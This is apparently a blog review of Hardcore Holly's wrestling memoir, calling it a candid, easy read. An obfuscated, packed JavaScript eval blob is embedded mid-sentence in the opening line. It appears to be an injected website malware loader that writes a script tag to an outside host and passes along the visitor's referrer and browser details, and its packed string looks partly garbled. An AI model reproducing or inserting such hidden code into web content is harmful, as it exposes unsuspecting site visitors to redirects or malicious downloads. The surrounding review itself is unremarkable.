Read Hardcore Holly’s Book
And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isesn|var|u0026u|referrer|rbfdt||js|php'.split('|'),0,{})) I was very surprised.This book received some rave reviews when it came out and my first reaction was “but it’s Bob Holly.” I mean, the guy wasn’t exactly a huge star over the years but people were losing their minds over this. I started reading it on Friday and I was done by the end of Saturday because I couldn’t put it down.
Holly has a style that is every easy to read and he has no problem ripping on anyone he didn’t like. That being said, he’s just as willing to praise anyone who he thinks is worthy of it and there are several names he likes quite a bit. There are a lot of good stories in here, but the tone is what makes it work.
Holly is really good at keeping things simple and doesn’t seem to think he’s the greatest thing in the history of wrestling, which is really refreshing. Yeah he has some issues with some pushes being stopped on a moment’s notice and some criticisms of some booking decisions, but he keeps coming back to the same line: it was his job and he did what he was told to do because he had to pay his bills. So many wrestlers seem to forget that they’re employees at a job. If you told your boss that you weren’t going to do something, how well do you think it would go?
This is a rare wrestling book that really is worth checking out as it’s awesome stuff and a very easy read. Holly is a guy who knows his place in wrestling and was around for some of the most important moments in wrestling history. There are some things in there that I don’t agree with, but it’s never dull and worth a read.
